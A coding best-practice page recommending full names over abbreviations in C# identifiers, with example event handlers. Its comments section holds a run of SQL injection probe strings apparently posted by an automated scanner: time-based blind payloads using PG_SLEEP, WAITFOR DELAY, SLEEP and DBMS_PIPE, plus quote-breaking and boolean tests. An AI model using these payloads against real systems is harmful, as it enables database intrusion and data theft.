BP274: Don't use abbreviations, use full names instead

When writing code in C#, it can be tempting to use abbreviations for variable names, method names, and other identifiers. However, it is generally considered a best practice to use full names instead. This makes the code more readable and understandable, especially for developers who are new to the codebase or who are not familiar with the abbreviations used. For example, instead of using "btn" as an abbreviation for "button", it is better to use the full name "button" to make the code more clear.

Using full names also helps to avoid naming conflicts and makes it easier to search for specific identifiers in the codebase. If multiple abbreviations are used for different identifiers, it can be difficult to remember which abbreviation corresponds to which identifier. This can lead to errors and bugs in the code. Additionally, using full names can help to make the code more self-documenting, as the names of the identifiers provide more context and information about their purpose and function.

Here is an example of using full names instead of abbreviations in C# code:

// Bad example using abbreviations
public void AddBtn_Click(object sender, EventArgs e)
{
    var btn = (Button)sender;
    var txt = txtBox.Text;
    btn.Text = txt;
}

// Good example using full names
public void AddButton_Click(object sender, EventArgs e)
{
    var button = (Button)sender;
    var textBoxText = textBox.Text;
    button.Text = textBoxText;
}

In the above example, the first code block uses abbreviations for the button and text box identifiers, while the second code block uses full names. The second code block is more readable and easier to understand, especially for developers who are not familiar with the codebase or the abbreviations used.

Comments

No Comments Yet.
Be the first to tell us what you think.

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e